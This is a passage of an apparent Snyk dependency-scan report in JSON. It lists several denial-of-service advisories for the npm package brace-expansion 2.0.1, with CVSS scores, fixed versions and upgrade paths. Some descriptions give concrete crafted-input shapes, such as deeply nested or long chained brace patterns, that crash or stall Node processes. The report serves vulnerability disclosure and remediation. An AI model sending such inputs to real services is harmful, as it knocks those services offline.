Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmfund@5.0.12",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
